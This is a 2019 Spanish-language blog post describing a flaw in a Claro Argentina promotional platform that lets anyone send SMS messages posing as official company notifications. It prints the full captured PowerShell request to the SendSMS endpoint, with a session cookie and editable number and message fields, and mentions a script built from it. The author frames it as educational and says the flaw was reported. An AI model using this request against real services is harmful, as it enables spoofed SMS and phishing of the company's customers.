miércoles, 13 de noviembre de 2019

Enviando Notificaciones oficiales a celulares de la empresa Claro (Argentina)

Hola gente despues de un pequeño reset, vuelvo a publicar nuevamente.

En este post les traigo una pequeña explicación de un fallo de seguridad de la empresa Claro que he encontrado, por el cual nos permite enviar SMS de notificaciones como si fueran las notificaciones oficiales de la empresa Claro.

Bien, todo comenzo con una simple búsqueda personalizada en google:

site:claro.com.ar

Esta busqueda produjo una serie de resultados entre los cuales destacó uno en particular:


Este link por lo que pude observar nos lleva a una plataforma propia de la empresa, destinada a enviar promociones, tanto de productos como servicios.

Bien primera mente nos aparece un popup que nos deja seleccionar entre dos opciones, pues eligiendo cualquiera de las dos se ingresa sin problemas, luego si seleccionamos la opción de menú "Prepago", llegaremos a la siguiente sección:



En la misma si presionamos el boton "ENVIAR PACKS DE INTERNET" aparecerá un popup en el cual debemos ingresar un número de celular con su característica respectiva.
Una vez ingresado y habiendo dado aceptar se enviará el sms al numero indicado.

Bien hasta ahí la parte facil, analizando un poco el fuente, encontré varias funciones en javascript embebidas en el mismo código html, entre esos scripts podemos encontrar la de envío del SMS, la cual realiza un request de tipo POST a una ruta específica.

Para obtener dicho request realicé tres pasos:

1 - Abrir las herramientas de desarrollador e ir a la pestaña network, luego limpiar la consola.
2 - Presionar el boton "Aceptar del popup de ingreso del celular"
3 - Copiar el request capturado como un script de powershell


Una vez copiado obtenemos un codigo como el siguiente:

Invoke-WebRequest -Uri "https://comunicadordpf5.claro.com.ar/Home/SendSMS" -Method "POST" -Headers @{"Accept"="application/json, text/javascript, */*; q=0.01"; "Origin"="https://comunicadordpf5.claro.com.ar"; "X-Requested-With"="XMLHttpRequest"; "User-Agent"="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36"; "Sec-Fetch-Site"="same-origin"; "Sec-Fetch-Mode"="cors"; "Referer"="https://comunicadordpf5.claro.com.ar/Home/SendPrepago?Length=4"; "Accept-Encoding"="gzip, deflate, br"; "Accept-Language"="es-419,es;q=0.9,en;q=0.8"; "Cookie"="ASP.NET_SessionId=2gyjfqugwmcfrrjkmmeypl1b"} -ContentType "application/json; charset=UTF-8" -Body "{`"cel_number`":`"000000000`",`"subject`":`"`",`"mensaje`":`"Packs de datos! La forma mas simple y rapida de estar conectado.https://comunicadordpf5.claro.com.ar/Home/GetPrepago?par=PREPAGO_ES`"}"


Bien en donde se encuentran los "000000000" es donde va el numero de celular, bien creo que está demás explicar lo que hace esa linea de código.

Basandome en esa linea generé un script de powershell que solicita numero y mensaje y ejecuta dicha linea, el cual pueden descargar del siguiente link:


Esta publicación la realizo con fines educativos, la vulnerabilidad que he encontrado si bien es un fallo simple, considero que es de gravedad media alta, debido a que el uso que puede llegar a darse de la misma puede generar problemas potencialmente graves tanto para la empresa como para los clientes.

Dicho fallo ya lo he reportado al soporte online de Claro Argentina, con lo cual en breve estimo que será solucionado.

Bien hasta aquí llegamos.

Saludos!